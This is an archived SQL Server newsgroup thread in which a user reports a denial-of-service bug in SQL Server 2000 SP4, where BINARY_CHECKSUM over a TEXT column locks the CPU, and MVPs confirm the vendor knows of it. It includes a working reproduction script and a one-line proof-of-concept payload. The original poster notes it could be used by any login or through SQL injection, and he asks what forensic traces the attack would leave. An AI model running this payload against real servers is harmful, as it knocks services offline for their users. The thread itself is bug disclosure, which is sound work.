Re: Denial of Service: BINARY_CHECKSUM of TEXT column hangs CPU: SQL 2K SP4

> This is the classic type of malicious stuff that an unmotivated employee
> could run surreptitously against a server to stop work for the day and
> make
> everyone go home.

Does this qualify as a mind virus to all of us who read this? All day
tomorrow I will have this running around in my head :)

--
----------------------------------------------------------------------------
Louis Davidson - http://spaces.msn.com/members/drsql/
SQL Server MVP
"Arguments are to be avoided: they are always vulgar and often convincing."
(Oscar Wilde)

"Chuck Hawkins" <charles.hawkins@xxxxxxxxxxxxxxxxxx> wrote in message
news:uUjZyBrIGHA.2912@xxxxxxxxxxxxxxxxxxxxxxx
> Thanks for the response.
>
> I had this sitting out in the microsoft.public.sqlserver.server for two
> days with no response.
>
> This is the classic type of malicious stuff that an unmotivated employee
> could run surreptitously against a server to stop work for the day and
> make
> everyone go home. Even if you kill the connection, the underlying query
> just
> hangs hold of the CPU until the server is restarted.
>
> If run from a TCP/IP sockets scenario, can you think of any fingerprints
> left behind from this attack after the user reboots her PC that the attack
> was run from?
>
> I'm assuming that you verified that the query hangs the CPU on your SQL 2K
> setup.
>
> Chuck
>
>
> "Jasper Smith" <jasper_smith9@xxxxxxxxxxx> wrote in message
> news:OYtswcqIGHA.1728@xxxxxxxxxxxxxxxxxxxxxxx
>> I've passed the details on and it does look like they're aware of it as
>> its fixed in SQL2005 (you get an error saying there are no comparable
>> columns) but I couldn't find any KB that referenced it and it's not fixed
>> in SQL2000 8.00.2026. I'll let you know what I find out.
>>
>> --
>> HTH,
>> Jasper Smith (SQL Server MVP)
>> http://www.sqldbatips.com
>>
>>
>> "Chuck Hawkins" <charles.hawkins@xxxxxxxxxxxxxxxxxx> wrote in message
>> news:%23u1cU1oIGHA.676@xxxxxxxxxxxxxxxxxxxxxxx
>>> Stripping the problem down as proof of concept, here is a one-liner that
>>> makes use of the DOS attack:
>>>
>>> EXEC('CREATE TABLE #T(Y text);INSERT INTO #T VALUES('''');SELECT
>>> BINARY_CHECKSUM(*)from(SELECT Y FROM #T)B;'
>>>
>>> I don't know of any login that, once validated as a login to a server,
>>> couldn't run this command. Additionally, it could be used in a SQL
>>> injection.
>>>
>>> Thanks,
>>>
>>> Chuck
>>>
>>>
>>>
>>> "Chuck Hawkins" <charles.hawkins@xxxxxxxxxxxxxxxxxx> wrote in message
>>> news:uvjDvFoIGHA.3036@xxxxxxxxxxxxxxxxxxxxxxx
>>>>I was comparing two tables using a BINARY_CHECKSUM(*) function across
>>>>the
>>>> rows when I ran into a problem. When one of my tables happened to have
>>>> a
>>>> TEXT column in it, the query calculating the BINARY_CHECKSUM(*) pegged
>>>> the
>>>> CPU at 100% and wouldn't let go, even when I killed Query Analyzer.
>>>> Since it
>>>> was a dual proc server, it was only 50% CPU utilization overall. If I
>>>> ran
>>>> the query twice in separate QA sessions, it pegged the whole server at
>>>> 100%
>>>> CPU and I couldn't make any more SQL Server connections for that
>>>> instance.
>>>> As a test, I let this go on overnight with no end in site for the CPU
>>>> utilization. In order to regain control of the instance, I had to kill
>>>> the
>>>> SQLSERVR.EXE process in Task Manager on the server.
>>>>
>>>> This is in SQL 2000 SP4 on a dual processor Intel server on top of
>>>> Windows
>>>> 2000 SP4.
>>>>
>>>> I did a Google search and couldn't come up with any problems regarding
>>>> a
>>>> TEXT column and the BINARY_CHECKSUM function. BOL says, regarding
>>>> BINARY_CHECKSUM:
>>>> "Noncomparable data types are text, ntext, image, and cursor, as well
>>>> as
>>>> sql_variant with any of the above types as its base type." It doesn't
>>>> say,
>>>> however, that it will take your CPU to 100% utilization and not let go.
>>>>
>>>> Here is a sample scenario and query that duplicates my issue. Run it
>>>> first
>>>> with the XSL column commented out and then run it after un-commenting
>>>> the
>>>> XSL column to cause the problem. Be prepared to kill your SQLSERVR.EXE
>>>> process in Task Manager to recover the CPU.
>>>>
>>>> And, oh by the way, since I did this in TEMPDB (you could do it with a
>>>> #temp table), essentially any login that
>>>> has any access at all to your SQL Server can lock it up and you will
>>>> not
>>>> know what hit you since TEMPDB will be rebuilt after you kill
>>>> SQLSERVR.EXE
>>>> and restart it. There were no error log message or event log messages
>>>> to
>>>> give me a clue as to what was happening.
>>>>
>>>> Chuck
>>>>
>>>>
>>>> USE TEMPDB
>>>> GO
>>>>
>>>> select @@version -- Microsoft SQL Server 2000 - 8.00.2039 (Intel X86)
>>>>
>>>> if exists (select * from dbo.sysobjects where id =
>>>> object_id(N'[TESTXSL]')
>>>> and OBJECTPROPERTY(id, N'IsUserTable') = 1)
>>>> drop table [TESTXSL]
>>>> GO
>>>>
>>>> if not exists (select * from dbo.sysobjects where id =
>>>> object_id(N'[dbo].[TESTXSL]') and OBJECTPROPERTY(id, N'IsUserTable') =
>>>> 1)
>>>> BEGIN
>>>> CREATE TABLE [TESTXSL] (
>>>> [XSL_ID] [int] NOT NULL ,
>>>> [XSL] [text] COLLATE SQL_Latin1_General_CP1_CI_AS NULL
>>>> CONSTRAINT [PK_TESTXSL] PRIMARY KEY CLUSTERED
>>>> (
>>>> [XSL_ID]
>>>> )
>>>> )
>>>> END
>>>>
>>>> GO
>>>>
>>>> --
>>>> -- TABLE INSERT STATEMENTS
>>>> --
>>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>>> VALUES ( 40, '' )
>>>> go
>>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>>> VALUES ( 50, ' ' )
>>>> go
>>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>>> VALUES ( 60, '' )
>>>> go
>>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>>> VALUES ( 70, '' )
>>>> go
>>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>>> VALUES ( 80, '' )
>>>> go
>>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>>> VALUES ( 90, '' )
>>>> go
>>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>>> VALUES ( 100, '' )
>>>> go
>>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>>> VALUES ( 110, '' )
>>>> go
>>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>>> VALUES ( 120, '' )
>>>> go
>>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>>> VALUES ( 140, '' )
>>>> go
>>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>>> VALUES ( 150, '' )
>>>> go
>>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>>> VALUES ( 160, '' )
>>>> go
>>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>>> VALUES ( 170, '' )
>>>> go
>>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>>> VALUES ( 180, '' )
>>>> go
>>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>>> VALUES ( 190, '' )
>>>> go
>>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>>> VALUES ( 200, '' )
>>>> go
>>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>>> VALUES ( 210, '' )
>>>> go
>>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>>> VALUES ( 220, '' )
>>>> go
>>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>>> VALUES ( 230, '' )
>>>> go
>>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>>> VALUES ( 240, '' )
>>>> go
>>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>>> VALUES ( 250, '' )
>>>> go
>>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>>> VALUES ( 260, '' )
>>>> go
>>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>>> VALUES ( 270, '' )
>>>> go
>>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>>> VALUES ( 280, '' )
>>>> go
>>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>>> VALUES ( 290, '' )
>>>> go
>>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>>> VALUES ( 300, '' )
>>>> go
>>>> INSERT INTO TESTXSL ( XSL_ID, XSL )
>>>> VALUES ( 310, 'sa' )
>>>> go
>>>>
>>>>
>>>> SELECT *,BINARY_CHECKSUM(*) AS CHECKCODE from (
>>>> SELECT XSL_ID--,XSL
>>>> FROM tempdb.dbo.TESTXSL (nolock)
>>>> ) B1
>>>>
>>>>
>>>>
>>>>
>>>>
>>>
>>>
>>
>>
>
>
>


.

Relevant Pages

  • Re: Save as in SQL Server(Backup - Restore)
    ... "Dan Guzman" wrote in message ... > SQL Server MVP ... I take it you already know about the RESTORE command ... >>> Tibor Karaszi, SQL Server MVP ...
    (microsoft.public.sqlserver.programming)
  • Re: SP accessing other db
    ... regarding the cross-database chaining server option. ... Now the database name is hard-coded. ... >>> SQL Server MVP ...
    (microsoft.public.sqlserver.security)
  • Re: Type of Cluster?
    ... MVP - Windows Server - Clustering ... >> cluster, granted not as fast as a SAN, but cheaper:) ... >>>well within the capabilities of SQL Server. ... >>> Microsoft SQL Server MVP ...
    (microsoft.public.sqlserver.clustering)
  • Re: active active: can somebody help with design?
    ... SQL Server MVP ... You can't have a default instance in virtual server 1 and another default ... You don't install the instances on particular nodes per se. ...
    (microsoft.public.sqlserver.clustering)
  • Re: SQL7 standalone
    ... Server: ... Can you connect with Query Analyzer using a SQL login (SQL authentication)? ... > Dejan Sarka, SQL Server MVP ...
    (microsoft.public.sqlserver.server)